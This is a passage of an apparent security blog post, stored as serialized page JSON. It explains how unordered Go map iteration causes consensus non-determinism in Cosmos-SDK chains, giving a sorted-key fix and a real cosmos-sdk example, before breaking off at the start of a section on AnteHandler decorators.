ObjectMap",{"type":23,"tag":213,"props":77369,"children":77370},{"style":230},[77371],{"type":28,"value":49721},{"type":23,"tag":213,"props":77373,"children":77374},{"style":220},[77375],{"type":28,"value":3821},{"type":23,"tag":213,"props":77377,"children":77378},{"style":290},[77379],{"type":28,"value":29722},{"type":23,"tag":213,"props":77381,"children":77382},{"style":220},[77383],{"type":28,"value":15470},{"type":23,"tag":213,"props":77385,"children":77386},{"style":290},[77387],{"type":28,"value":77388},"string\n",{"type":23,"tag":213,"props":77390,"children":77391},{"class":215,"line":226},[77392],{"type":23,"tag":213,"props":77393,"children":77394},{"emptyLinePlaceholder":18},[77395],{"type":28,"value":530},{"type":23,"tag":213,"props":77397,"children":77398},{"class":215,"line":524},[77399,77403,77408,77412,77417,77421],{"type":23,"tag":213,"props":77400,"children":77401},{"style":230},[77402],{"type":28,"value":76353},{"type":23,"tag":213,"props":77404,"children":77405},{"style":257},[77406],{"type":28,"value":77407}," EmitEntries",{"type":23,"tag":213,"props":77409,"children":77410},{"style":220},[77411],{"type":28,"value":265},{"type":23,"tag":213,"props":77413,"children":77414},{"style":268},[77415],{"type":28,"value":77416},"objectMap",{"type":23,"tag":213,"props":77418,"children":77419},{"style":290},[77420],{"type":28,"value":77367},{"type":23,"tag":213,"props":77422,"children":77423},{"style":220},[77424],{"type":28,"value":14870},{"type":23,"tag":213,"props":77426,"children":77427},{"class":215,"line":533},[77428,77432,77436,77440,77444,77448,77453,77458],{"type":23,"tag":213,"props":77429,"children":77430},{"style":1362},[77431],{"type":28,"value":3131},{"type":23,"tag":213,"props":77433,"children":77434},{"style":268},[77435],{"type":28,"value":918},{"type":23,"tag":213,"props":77437,"children":77438},{"style":220},[77439],{"type":28,"value":424},{"type":23,"tag":213,"props":77441,"children":77442},{"style":268},[77443],{"type":28,"value":39209},{"type":23,"tag":213,"props":77445,"children":77446},{"style":274},[77447],{"type":28,"value":76469},{"type":23,"tag":213,"props":77449,"children":77450},{"style":1362},[77451],{"type":28,"value":77452}," range",{"type":23,"tag":213,"props":77454,"children":77455},{"style":268},[77456],{"type":28,"value":77457}," objectMap",{"type":23,"tag":213,"props":77459,"children":77460},{"style":220},[77461],{"type":28,"value":1375},{"type":23,"tag":213,"props":77463,"children":77464},{"class":215,"line":543},[77465,77469,77473,77478,77482,77487],{"type":23,"tag":213,"props":77466,"children":77467},{"style":268},[77468],{"type":28,"value":26241},{"type":23,"tag":213,"props":77470,"children":77471},{"style":220},[77472],{"type":28,"value":124},{"type":23,"tag":213,"props":77474,"children":77475},{"style":268},[77476],{"type":28,"value":77477},"EventManager",{"type":23,"tag":213,"props":77479,"children":77480},{"style":220},[77481],{"type":28,"value":124},{"type":23,"tag":213,"props":77483,"children":77484},{"style":257},[77485],{"type":28,"value":77486},"EmitEvent",{"type":23,"tag":213,"props":77488,"children":77489},{"style":220},[77490],{"type":28,"value":1511},{"type":23,"tag":213,"props":77492,"children":77493},{"class":215,"line":551},[77494,77499,77503,77508],{"type":23,"tag":213,"props":77495,"children":77496},{"style":268},[77497],{"type":28,"value":77498}," sdk",{"type":23,"tag":213,"props":77500,"children":77501},{"style":220},[77502],{"type":28,"value":124},{"type":23,"tag":213,"props":77504,"children":77505},{"style":257},[77506],{"type":28,"value":77507},"NewEvent",{"type":23,"tag":213,"props":77509,"children":77510},{"style":220},[77511],{"type":28,"value":1511},{"type":23,"tag":213,"props":77513,"children":77514},{"class":215,"line":570},[77515,77520],{"type":23,"tag":213,"props":77516,"children":77517},{"style":246},[77518],{"type":28,"value":77519}," \"MapContext\"",{"type":23,"tag":213,"props":77521,"children":77522},{"style":220},[77523],{"type":28,"value":944},{"type":23,"tag":213,"props":77525,"children":77526},{"class":215,"line":655},[77527,77532,77536,77541,77545,77549,77553,77557],{"type":23,"tag":213,"props":77528,"children":77529},{"style":268},[77530],{"type":28,"value":77531}," sdk",{"type":23,"tag":213,"props":77533,"children":77534},{"style":220},[77535],{"type":28,"value":124},{"type":23,"tag":213,"props":77537,"children":77538},{"style":257},[77539],{"type":28,"value":77540},"NewAttribute",{"type":23,"tag":213,"props":77542,"children":77543},{"style":220},[77544],{"type":28,"value":265},{"type":23,"tag":213,"props":77546,"children":77547},{"style":268},[77548],{"type":28,"value":72209},{"type":23,"tag":213,"props":77550,"children":77551},{"style":220},[77552],{"type":28,"value":424},{"type":23,"tag":213,"props":77554,"children":77555},{"style":268},[77556],{"type":28,"value":39209},{"type":23,"tag":213,"props":77558,"children":77559},{"style":220},[77560],{"type":28,"value":1715},{"type":23,"tag":213,"props":77562,"children":77563},{"class":215,"line":1176},[77564],{"type":23,"tag":213,"props":77565,"children":77566},{"style":220},[77567],{"type":28,"value":77568}," )\n",{"type":23,"tag":213,"props":77570,"children":77571},{"class":215,"line":1202},[77572],{"type":23,"tag":213,"props":77573,"children":77574},{"style":220},[77575],{"type":28,"value":68373},{"type":23,"tag":213,"props":77577,"children":77578},{"class":215,"line":1758},[77579],{"type":23,"tag":213,"props":77580,"children":77581},{"style":220},[77582],{"type":28,"value":2875},{"type":23,"tag":213,"props":77584,"children":77585},{"class":215,"line":1767},[77586],{"type":23,"tag":213,"props":77587,"children":77588},{"style":220},[77589],{"type":28,"value":1208},{"type":23,"tag":24,"props":77591,"children":77592},{},[77593],{"type":28,"value":77594},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":23,"tag":3036,"props":77596,"children":77597},{},[77598],{"type":23,"tag":24,"props":77599,"children":77600},{},[77601],{"type":28,"value":77602},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":23,"tag":24,"props":77604,"children":77605},{},[77606,77608,77613],{"type":28,"value":77607},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":23,"tag":209,"props":77609,"children":77611},{"className":77610},[],[77612],{"type":28,"value":67156},{"type":28,"value":77614}," and then fetch the values using the sorted key array before emitting them.",{"type":23,"tag":202,"props":77616,"children":77618},{"code":77617,"language":76217,"meta":7,"className":76218,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n var keys []string\n for key := range objectMap {\n keys = append(keys, key)\n }\n sort.Strings(keys)\n\n for _, key := range keys {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, objectMap[key]),\n )\n )\n }\n}\n",[77619],{"type":23,"tag":209,"props":77620,"children":77621},{"__ignoreMap":7},[77622,77653,77660,77687,77707,77734,77770,77777,77806,77813,77848,77875,77894,77905,77949,77956,77963,77970],{"type":23,"tag":213,"props":77623,"children":77624},{"class":215,"line":216},[77625,77629,77633,77637,77641,77645,77649],{"type":23,"tag":213,"props":77626,"children":77627},{"style":230},[77628],{"type":28,"value":32812},{"type":23,"tag":213,"props":77630,"children":77631},{"style":290},[77632],{"type":28,"value":77367},{"type":23,"tag":213,"props":77634,"children":77635},{"style":230},[77636],{"type":28,"value":49721},{"type":23,"tag":213,"props":77638,"children":77639},{"style":220},[77640],{"type":28,"value":3821},{"type":23,"tag":213,"props":77642,"children":77643},{"style":290},[77644],{"type":28,"value":29722},{"type":23,"tag":213,"props":77646,"children":77647},{"style":220},[77648],{"type":28,"value":15470},{"type":23,"tag":213,"props":77650,"children":77651},{"style":290},[77652],{"type":28,"value":77388},{"type":23,"tag":213,"props":77654,"children":77655},{"class":215,"line":226},[77656],{"type":23,"tag":213,"props":77657,"children":77658},{"emptyLinePlaceholder":18},[77659],{"type":28,"value":530},{"type":23,"tag":213,"props":77661,"children":77662},{"class":215,"line":524},[77663,77667,77671,77675,77679,77683],{"type":23,"tag":213,"props":77664,"children":77665},{"style":230},[77666],{"type":28,"value":76353},{"type":23,"tag":213,"props":77668,"children":77669},{"style":257},[77670],{"type":28,"value":77407},{"type":23,"tag":213,"props":77672,"children":77673},{"style":220},[77674],{"type":28,"value":265},{"type":23,"tag":213,"props":77676,"children":77677},{"style":268},[77678],{"type":28,"value":77416},{"type":23,"tag":213,"props":77680,"children":77681},{"style":290},[77682],{"type":28,"value":77367},{"type":23,"tag":213,"props":77684,"children":77685},{"style":220},[77686],{"type":28,"value":14870},{"type":23,"tag":213,"props":77688,"children":77689},{"class":215,"line":533},[77690,77695,77699,77703],{"type":23,"tag":213,"props":77691,"children":77692},{"style":230},[77693],{"type":28,"value":77694}," var",{"type":23,"tag":213,"props":77696,"children":77697},{"style":268},[77698],{"type":28,"value":21430},{"type":23,"tag":213,"props":77700,"children":77701},{"style":220},[77702],{"type":28,"value":76280},{"type":23,"tag":213,"props":77704,"children":77705},{"style":290},[77706],{"type":28,"value":77388},{"type":23,"tag":213,"props":77708,"children":77709},{"class":215,"line":543},[77710,77714,77718,77722,77726,77730],{"type":23,"tag":213,"props":77711,"children":77712},{"style":1362},[77713],{"type":28,"value":3131},{"type":23,"tag":213,"props":77715,"children":77716},{"style":268},[77717],{"type":28,"value":918},{"type":23,"tag":213,"props":77719,"children":77720},{"style":274},[77721],{"type":28,"value":76469},{"type":23,"tag":213,"props":77723,"children":77724},{"style":1362},[77725],{"type":28,"value":77452},{"type":23,"tag":213,"props":77727,"children":77728},{"style":268},[77729],{"type":28,"value":77457},{"type":23,"tag":213,"props":77731,"children":77732},{"style":220},[77733],{"type":28,"value":1375},{"type":23,"tag":213,"props":77735,"children":77736},{"class":215,"line":551},[77737,77741,77745,77750,77754,77758,77762,77766],{"type":23,"tag":213,"props":77738,"children":77739},{"style":268},[77740],{"type":28,"value":25390},{"type":23,"tag":213,"props":77742,"children":77743},{"style":274},[77744],{"type":28,"value":511},{"type":23,"tag":213,"props":77746,"children":77747},{"style":257},[77748],{"type":28,"value":77749}," append",{"type":23,"tag":213,"props":77751,"children":77752},{"style":220},[77753],{"type":28,"value":265},{"type":23,"tag":213,"props":77755,"children":77756},{"style":268},[77757],{"type":28,"value":21034},{"type":23,"tag":213,"props":77759,"children":77760},{"style":220},[77761],{"type":28,"value":424},{"type":23,"tag":213,"props":77763,"children":77764},{"style":268},[77765],{"type":28,"value":72209},{"type":23,"tag":213,"props":77767,"children":77768},{"style":220},[77769],{"type":28,"value":2183},{"type":23,"tag":213,"props":77771,"children":77772},{"class":215,"line":570},[77773],{"type":23,"tag":213,"props":77774,"children":77775},{"style":220},[77776],{"type":28,"value":2875},{"type":23,"tag":213,"props":77778,"children":77779},{"class":215,"line":655},[77780,77785,77789,77794,77798,77802],{"type":23,"tag":213,"props":77781,"children":77782},{"style":268},[77783],{"type":28,"value":77784}," sort",{"type":23,"tag":213,"props":77786,"children":77787},{"style":220},[77788],{"type":28,"value":124},{"type":23,"tag":213,"props":77790,"children":77791},{"style":257},[77792],{"type":28,"value":77793},"Strings",{"type":23,"tag":213,"props":77795,"children":77796},{"style":220},[77797],{"type":28,"value":265},{"type":23,"tag":213,"props":77799,"children":77800},{"style":268},[77801],{"type":28,"value":21034},{"type":23,"tag":213,"props":77803,"children":77804},{"style":220},[77805],{"type":28,"value":2183},{"type":23,"tag":213,"props":77807,"children":77808},{"class":215,"line":1176},[77809],{"type":23,"tag":213,"props":77810,"children":77811},{"emptyLinePlaceholder":18},[77812],{"type":28,"value":530},{"type":23,"tag":213,"props":77814,"children":77815},{"class":215,"line":1202},[77816,77820,77824,77828,77832,77836,77840,77844],{"type":23,"tag":213,"props":77817,"children":77818},{"style":1362},[77819],{"type":28,"value":3131},{"type":23,"tag":213,"props":77821,"children":77822},{"style":268},[77823],{"type":28,"value":3136},{"type":23,"tag":213,"props":77825,"children":77826},{"style":220},[77827],{"type":28,"value":424},{"type":23,"tag":213,"props":77829,"children":77830},{"style":268},[77831],{"type":28,"value":72209},{"type":23,"tag":213,"props":77833,"children":77834},{"style":274},[77835],{"type":28,"value":76469},{"type":23,"tag":213,"props":77837,"children":77838},{"style":1362},[77839],{"type":28,"value":77452},{"type":23,"tag":213,"props":77841,"children":77842},{"style":268},[77843],{"type":28,"value":21430},{"type":23,"tag":213,"props":77845,"children":77846},{"style":220},[77847],{"type":28,"value":1375},{"type":23,"tag":213,"props":77849,"children":77850},{"class":215,"line":1758},[77851,77855,77859,77863,77867,77871],{"type":23,"tag":213,"props":77852,"children":77853},{"style":268},[77854],{"type":28,"value":26241},{"type":23,"tag":213,"props":77856,"children":77857},{"style":220},[77858],{"type":28,"value":124},{"type":23,"tag":213,"props":77860,"children":77861},{"style":268},[77862],{"type":28,"value":77477},{"type":23,"tag":213,"props":77864,"children":77865},{"style":220},[77866],{"type":28,"value":124},{"type":23,"tag":213,"props":77868,"children":77869},{"style":257},[77870],{"type":28,"value":77486},{"type":23,"tag":213,"props":77872,"children":77873},{"style":220},[77874],{"type":28,"value":1511},{"type":23,"tag":213,"props":77876,"children":77877},{"class":215,"line":1767},[77878,77882,77886,77890],{"type":23,"tag":213,"props":77879,"children":77880},{"style":268},[77881],{"type":28,"value":77498},{"type":23,"tag":213,"props":77883,"children":77884},{"style":220},[77885],{"type":28,"value":124},{"type":23,"tag":213,"props":77887,"children":77888},{"style":257},[77889],{"type":28,"value":77507},{"type":23,"tag":213,"props":77891,"children":77892},{"style":220},[77893],{"type":28,"value":1511},{"type":23,"tag":213,"props":77895,"children":77896},{"class":215,"line":1789},[77897,77901],{"type":23,"tag":213,"props":77898,"children":77899},{"style":246},[77900],{"type":28,"value":77519},{"type":23,"tag":213,"props":77902,"children":77903},{"style":220},[77904],{"type":28,"value":944},{"type":23,"tag":213,"props":77906,"children":77907},{"class":215,"line":1812},[77908,77912,77916,77920,77924,77928,77932,77936,77940,77944],{"type":23,"tag":213,"props":77909,"children":77910},{"style":268},[77911],{"type":28,"value":77531},{"type":23,"tag":213,"props":77913,"children":77914},{"style":220},[77915],{"type":28,"value":124},{"type":23,"tag":213,"props":77917,"children":77918},{"style":257},[77919],{"type":28,"value":77540},{"type":23,"tag":213,"props":77921,"children":77922},{"style":220},[77923],{"type":28,"value":265},{"type":23,"tag":213,"props":77925,"children":77926},{"style":268},[77927],{"type":28,"value":72209},{"type":23,"tag":213,"props":77929,"children":77930},{"style":220},[77931],{"type":28,"value":424},{"type":23,"tag":213,"props":77933,"children":77934},{"style":268},[77935],{"type":28,"value":77416},{"type":23,"tag":213,"props":77937,"children":77938},{"style":220},[77939],{"type":28,"value":3821},{"type":23,"tag":213,"props":77941,"children":77942},{"style":268},[77943],{"type":28,"value":72209},{"type":23,"tag":213,"props":77945,"children":77946},{"style":220},[77947],{"type":28,"value":77948},"]),\n",{"type":23,"tag":213,"props":77950,"children":77951},{"class":215,"line":1838},[77952],{"type":23,"tag":213,"props":77953,"children":77954},{"style":220},[77955],{"type":28,"value":77568},{"type":23,"tag":213,"props":77957,"children":77958},{"class":215,"line":1851},[77959],{"type":23,"tag":213,"props":77960,"children":77961},{"style":220},[77962],{"type":28,"value":68373},{"type":23,"tag":213,"props":77964,"children":77965},{"class":215,"line":1864},[77966],{"type":23,"tag":213,"props":77967,"children":77968},{"style":220},[77969],{"type":28,"value":2875},{"type":23,"tag":213,"props":77971,"children":77972},{"class":215,"line":1890},[77973],{"type":23,"tag":213,"props":77974,"children":77975},{"style":220},[77976],{"type":28,"value":1208},{"type":23,"tag":24,"props":77978,"children":77979},{},[77980],{"type":28,"value":77981},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":23,"tag":9693,"props":77983,"children":77985},{"id":77984},"real-world-examples-1",[77986],{"type":28,"value":76742},{"type":23,"tag":24,"props":77988,"children":77989},{},[77990,77992,77997,77999,78005,78007,78013,78015,78021],{"type":28,"value":77991},"Real-world examples of ",{"type":23,"tag":209,"props":77993,"children":77995},{"className":77994},[],[77996],{"type":28,"value":67156},{"type":28,"value":77998}," causing determinism problems can be found ",{"type":23,"tag":36,"props":78000,"children":78003},{"href":78001,"rel":78002},"https://github.com/cosmos/cosmos-sdk/pull/12487",[40],[78004],{"type":28,"value":47636},{"type":28,"value":78006},", specifically, where the result of ",{"type":23,"tag":209,"props":78008,"children":78010},{"className":78009},[],[78011],{"type":28,"value":78012},"buildCommitInfo",{"type":28,"value":78014}," is inconsistent due to iteration over the ",{"type":23,"tag":209,"props":78016,"children":78018},{"className":78017},[],[78019],{"type":28,"value":78020},"rs.stores",{"type":28,"value":78022}," map.",{"type":23,"tag":24,"props":78024,"children":78025},{},[78026],{"type":23,"tag":36,"props":78027,"children":78030},{"href":78028,"rel":78029},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[40],[78031],{"type":28,"value":76792},{"type":23,"tag":202,"props":78033,"children":78035},{"code":78034,"language":76217,"meta":7,"className":76218,"style":7},"func (rs *Store) buildCommitInfo(\n version int64\n) *types.CommitInfo {\n storeInfos := []types.StoreInfo{}\n for key, store := range rs.stores {\n if store.GetStoreType() == types.StoreTypeTransient {\n continue\n }\n storeInfos = append(storeInfos, types.StoreInfo{\n Name: key.Name(),\n CommitId: store.LastCommitID(),\n })\n }\n return &types.CommitInfo{\n Version: version,\n StoreInfos: storeInfos,\n }\n}\n",[78036],{"type":23,"tag":209,"props":78037,"children":78038},{"__ignoreMap":7},[78039,78076,78089,78117,78151,78196,78242,78250,78257,78302,78332,78361,78368,78375,78402,78424,78444,78451],{"type":23,"tag":213,"props":78040,"children":78041},{"class":215,"line":216},[78042,78046,78050,78055,78059,78064,78068,78072],{"type":23,"tag":213,"props":78043,"children":78044},{"style":230},[78045],{"type":28,"value":76353},{"type":23,"tag":213,"props":78047,"children":78048},{"style":220},[78049],{"type":28,"value":400},{"type":23,"tag":213,"props":78051,"children":78052},{"style":268},[78053],{"type":28,"value":78054},"rs ",{"type":23,"tag":213,"props":78056,"children":78057},{"style":274},[78058],{"type":28,"value":1696},{"type":23,"tag":213,"props":78060,"children":78061},{"style":290},[78062],{"type":28,"value":78063},"Store",{"type":23,"tag":213,"props":78065,"children":78066},{"style":220},[78067],{"type":28,"value":298},{"type":23,"tag":213,"props":78069,"children":78070},{"style":257},[78071],{"type":28,"value":78012},{"type":23,"tag":213,"props":78073,"children":78074},{"style":220},[78075],{"type":28,"value":1511},{"type":23,"tag":213,"props":78077,"children":78078},{"class":215,"line":226},[78079,78084],{"type":23,"tag":213,"props":78080,"children":78081},{"style":268},[78082],{"type":28,"value":78083}," version",{"type":23,"tag":213,"props":78085,"children":78086},{"style":290},[78087],{"type":28,"value":78088}," int64\n",{"type":23,"tag":213,"props":78090,"children":78091},{"class":215,"line":524},[78092,78096,78100,78104,78108,78113],{"type":23,"tag":213,"props":78093,"children":78094},{"style":220},[78095],{"type":28,"value":298},{"type":23,"tag":213,"props":78097,"children":78098},{"style":274},[78099],{"type":28,"value":1696},{"type":23,"tag":213,"props":78101,"children":78102},{"style":290},[78103],{"type":28,"value":5852},{"type":23,"tag":213,"props":78105,"children":78106},{"style":220},[78107],{"type":28,"value":124},{"type":23,"tag":213,"props":78109,"children":78110},{"style":290},[78111],{"type":28,"value":78112},"CommitInfo",{"type":23,"tag":213,"props":78114,"children":78115},{"style":220},[78116],{"type":28,"value":1375},{"type":23,"tag":213,"props":78118,"children":78119},{"class":215,"line":533},[78120,78125,78129,78133,78137,78141,78146],{"type":23,"tag":213,"props":78121,"children":78122},{"style":268},[78123],{"type":28,"value":78124}," storeInfos",{"type":23,"tag":213,"props":78126,"children":78127},{"style":274},[78128],{"type":28,"value":76469},{"type":23,"tag":213,"props":78130,"children":78131},{"style":220},[78132],{"type":28,"value":76280},{"type":23,"tag":213,"props":78134,"children":78135},{"style":290},[78136],{"type":28,"value":5852},{"type":23,"tag":213,"props":78138,"children":78139},{"style":220},[78140],{"type":28,"value":124},{"type":23,"tag":213,"props":78142,"children":78143},{"style":290},[78144],{"type":28,"value":78145},"StoreInfo",{"type":23,"tag":213,"props":78147,"children":78148},{"style":220},[78149],{"type":28,"value":78150},"{}\n",{"type":23,"tag":213,"props":78152,"children":78153},{"class":215,"line":543},[78154,78158,78162,78166,78170,78174,78178,78183,78187,78192],{"type":23,"tag":213,"props":78155,"children":78156},{"style":1362},[78157],{"type":28,"value":3131},{"type":23,"tag":213,"props":78159,"children":78160},{"style":268},[78161],{"type":28,"value":918},{"type":23,"tag":213,"props":78163,"children":78164},{"style":220},[78165],{"type":28,"value":424},{"type":23,"tag":213,"props":78167,"children":78168},{"style":268},[78169],{"type":28,"value":6032},{"type":23,"tag":213,"props":78171,"children":78172},{"style":274},[78173],{"type":28,"value":76469},{"type":23,"tag":213,"props":78175,"children":78176},{"style":1362},[78177],{"type":28,"value":77452},{"type":23,"tag":213,"props":78179,"children":78180},{"style":268},[78181],{"type":28,"value":78182}," rs",{"type":23,"tag":213,"props":78184,"children":78185},{"style":220},[78186],{"type":28,"value":124},{"type":23,"tag":213,"props":78188,"children":78189},{"style":268},[78190],{"type":28,"value":78191},"stores",{"type":23,"tag":213,"props":78193,"children":78194},{"style":220},[78195],{"type":28,"value":1375},{"type":23,"tag":213,"props":78197,"children":78198},{"class":215,"line":551},[78199,78203,78207,78211,78216,78220,78224,78229,78233,78238],{"type":23,"tag":213,"props":78200,"children":78201},{"style":1362},[78202],{"type":28,"value":3369},{"type":23,"tag":213,"props":78204,"children":78205},{"style":268},[78206],{"type":28,"value":5924},{"type":23,"tag":213,"props":78208,"children":78209},{"style":220},[78210],{"type":28,"value":124},{"type":23,"tag":213,"props":78212,"children":78213},{"style":257},[78214],{"type":28,"value":78215},"GetStoreType",{"type":23,"tag":213,"props":78217,"children":78218},{"style":220},[78219],{"type":28,"value":2698},{"type":23,"tag":213,"props":78221,"children":78222},{"style":274},[78223],{"type":28,"value":8660},{"type":23,"tag":213,"props":78225,"children":78226},{"style":268},[78227],{"type":28,"value":78228}," types",{"type":23,"tag":213,"props":78230,"children":78231},{"style":220},[78232],{"type":28,"value":124},{"type":23,"tag":213,"props":78234,"children":78235},{"style":268},[78236],{"type":28,"value":78237},"StoreTypeTransient",{"type":23,"tag":213,"props":78239,"children":78240},{"style":220},[78241],{"type":28,"value":1375},{"type":23,"tag":213,"props":78243,"children":78244},{"class":215,"line":570},[78245],{"type":23,"tag":213,"props":78246,"children":78247},{"style":1362},[78248],{"type":28,"value":78249}," continue\n",{"type":23,"tag":213,"props":78251,"children":78252},{"class":215,"line":655},[78253],{"type":23,"tag":213,"props":78254,"children":78255},{"style":220},[78256],{"type":28,"value":3444},{"type":23,"tag":213,"props":78258,"children":78259},{"class":215,"line":1176},[78260,78265,78269,78273,78277,78282,78286,78290,78294,78298],{"type":23,"tag":213,"props":78261,"children":78262},{"style":268},[78263],{"type":28,"value":78264}," storeInfos",{"type":23,"tag":213,"props":78266,"children":78267},{"style":274},[78268],{"type":28,"value":511},{"type":23,"tag":213,"props":78270,"children":78271},{"style":257},[78272],{"type":28,"value":77749},{"type":23,"tag":213,"props":78274,"children":78275},{"style":220},[78276],{"type":28,"value":265},{"type":23,"tag":213,"props":78278,"children":78279},{"style":268},[78280],{"type":28,"value":78281},"storeInfos",{"type":23,"tag":213,"props":78283,"children":78284},{"style":220},[78285],{"type":28,"value":424},{"type":23,"tag":213,"props":78287,"children":78288},{"style":290},[78289],{"type":28,"value":5852},{"type":23,"tag":213,"props":78291,"children":78292},{"style":220},[78293],{"type":28,"value":124},{"type":23,"tag":213,"props":78295,"children":78296},{"style":290},[78297],{"type":28,"value":78145},{"type":23,"tag":213,"props":78299,"children":78300},{"style":220},[78301],{"type":28,"value":10964},{"type":23,"tag":213,"props":78303,"children":78304},{"class":215,"line":1202},[78305,78310,78315,78319,78323,78328],{"type":23,"tag":213,"props":78306,"children":78307},{"style":268},[78308],{"type":28,"value":78309}," Name",{"type":23,"tag":213,"props":78311,"children":78312},{"style":220},[78313],{"type":28,"value":78314},": ",{"type":23,"tag":213,"props":78316,"children":78317},{"style":268},[78318],{"type":28,"value":72209},{"type":23,"tag":213,"props":78320,"children":78321},{"style":220},[78322],{"type":28,"value":124},{"type":23,"tag":213,"props":78324,"children":78325},{"style":257},[78326],{"type":28,"value":78327},"Name",{"type":23,"tag":213,"props":78329,"children":78330},{"style":220},[78331],{"type":28,"value":1809},{"type":23,"tag":213,"props":78333,"children":78334},{"class":215,"line":1758},[78335,78340,78344,78348,78352,78357],{"type":23,"tag":213,"props":78336,"children":78337},{"style":268},[78338],{"type":28,"value":78339}," CommitId",{"type":23,"tag":213,"props":78341,"children":78342},{"style":220},[78343],{"type":28,"value":15390},{"type":23,"tag":213,"props":78345,"children":78346},{"style":268},[78347],{"type":28,"value":6032},{"type":23,"tag":213,"props":78349,"children":78350},{"style":220},[78351],{"type":28,"value":124},{"type":23,"tag":213,"props":78353,"children":78354},{"style":257},[78355],{"type":28,"value":78356},"LastCommitID",{"type":23,"tag":213,"props":78358,"children":78359},{"style":220},[78360],{"type":28,"value":1809},{"type":23,"tag":213,"props":78362,"children":78363},{"class":215,"line":1767},[78364],{"type":23,"tag":213,"props":78365,"children":78366},{"style":220},[78367],{"type":28,"value":68251},{"type":23,"tag":213,"props":78369,"children":78370},{"class":215,"line":1789},[78371],{"type":23,"tag":213,"props":78372,"children":78373},{"style":220},[78374],{"type":28,"value":2875},{"type":23,"tag":213,"props":78376,"children":78377},{"class":215,"line":1812},[78378,78382,78386,78390,78394,78398],{"type":23,"tag":213,"props":78379,"children":78380},{"style":1362},[78381],{"type":28,"value":17040},{"type":23,"tag":213,"props":78383,"children":78384},{"style":274},[78385],{"type":28,"value":927},{"type":23,"tag":213,"props":78387,"children":78388},{"style":290},[78389],{"type":28,"value":5852},{"type":23,"tag":213,"props":78391,"children":78392},{"style":220},[78393],{"type":28,"value":124},{"type":23,"tag":213,"props":78395,"children":78396},{"style":290},[78397],{"type":28,"value":78112},{"type":23,"tag":213,"props":78399,"children":78400},{"style":220},[78401],{"type":28,"value":10964},{"type":23,"tag":213,"props":78403,"children":78404},{"class":215,"line":1838},[78405,78410,78415,78420],{"type":23,"tag":213,"props":78406,"children":78407},{"style":268},[78408],{"type":28,"value":78409}," Version",{"type":23,"tag":213,"props":78411,"children":78412},{"style":220},[78413],{"type":28,"value":78414},": ",{"type":23,"tag":213,"props":78416,"children":78417},{"style":268},[78418],{"type":28,"value":78419},"version",{"type":23,"tag":213,"props":78421,"children":78422},{"style":220},[78423],{"type":28,"value":944},{"type":23,"tag":213,"props":78425,"children":78426},{"class":215,"line":1851},[78427,78432,78436,78440],{"type":23,"tag":213,"props":78428,"children":78429},{"style":268},[78430],{"type":28,"value":78431}," StoreInfos",{"type":23,"tag":213,"props":78433,"children":78434},{"style":220},[78435],{"type":28,"value":15390},{"type":23,"tag":213,"props":78437,"children":78438},{"style":268},[78439],{"type":28,"value":78281},{"type":23,"tag":213,"props":78441,"children":78442},{"style":220},[78443],{"type":28,"value":944},{"type":23,"tag":213,"props":78445,"children":78446},{"class":215,"line":1864},[78447],{"type":23,"tag":213,"props":78448,"children":78449},{"style":220},[78450],{"type":28,"value":2875},{"type":23,"tag":213,"props":78452,"children":78453},{"class":215,"line":1890},[78454],{"type":23,"tag":213,"props":78455,"children":78456},{"style":220},[78457],{"type":28,"value":1208},{"type":23,"tag":24,"props":78459,"children":78460},{},[78461,78463,78470,78471,78478],{"type":28,"value":78462},"Other factors contributing to determinism issues are the usage of ",{"type":23,"tag":36,"props":78464,"children":78467},{"href":78465,"rel":78466},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[40],[78468],{"type":28,"value":78469},"time-sensitive functions",{"type":28,"value":1466},{"type":23,"tag":36,"props":78472,"children":78475},{"href":78473,"rel":78474},"https://github.com/cosmos/cosmos-sdk/issues/16638",[40],[78476],{"type":28,"value":78477},"race conditions",{"type":28,"value":124},{"type":23,"tag":47,"props":78480,"children":78482},{"id":78481},"thou-shalt-not-passor-should-you",[78483],{"type":28,"value":78484},"Thou Shalt Not Pass...Or Should You?",{"type":23,"tag":24,"props":78486,"children":78487},{},[78488,78490,78496,78497,78503],{"type":28,"value":78489},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":23,"tag":209,"props":78491,"children":78493},{"className":78492},[],[78494],{"type":28,"value":78495},"msg.value",{"type":28,"value":424},{"type":23,"tag":209,"props":78498,"children":78500},{"className":78499},[],[78501],{"type":28,"value":78502},"msg.sender",{"type":28,"value":78504},", and collecting transaction fees) to the underlying blockchain.",{"type":23,"tag":24,"props":78506,"children":78507},{},[78508,78510,78516,78518,78524],{"type":28,"value":78509},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":23,"tag":209,"props":78511,"children":78513},{"className":78512},[],[78514],{"type":28,"value":78515},"Cosmos-SDK",{"type":28,"value":78517}," introduces ",{"type":23,"tag":209,"props":78519,"children":78521},{"className":78520},[],[78522],{"type":28,"value":78523},"AnteHandler",{"type":28,"value":78525}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":23,"tag":24,"props":78527,"children":78528},{},[78529,78531,78536,78538,78543],{"type":28,"value":78530},"To provide context, let's first understand how an ",{"type":23,"tag":209,"props":78532,"children":78534},{"className":78533},[],[78535],{"type":28,"value":78523},{"type":28,"value":78537}," is processed. Each ",{"type":23,"tag":209,"props":78539,"children":78541},{"className":78540},[],[78542],{"type":28,"value":78523},{"type":28,"value":78544}," is a state transition function that can:",{"type":23,"tag":131,"props":78546,"children":78547},{},[78548,78553],{"type":23,"tag":135,"props":78549,"children":78550},{},[78551],{"type":28,"value":78552},"Transform the block state in relation to transaction and execution context.",{"type":23,"tag":135,"props":78554,"children":78555},{},[78556,78558],{"type":28,"value":78557},"Determine the course of 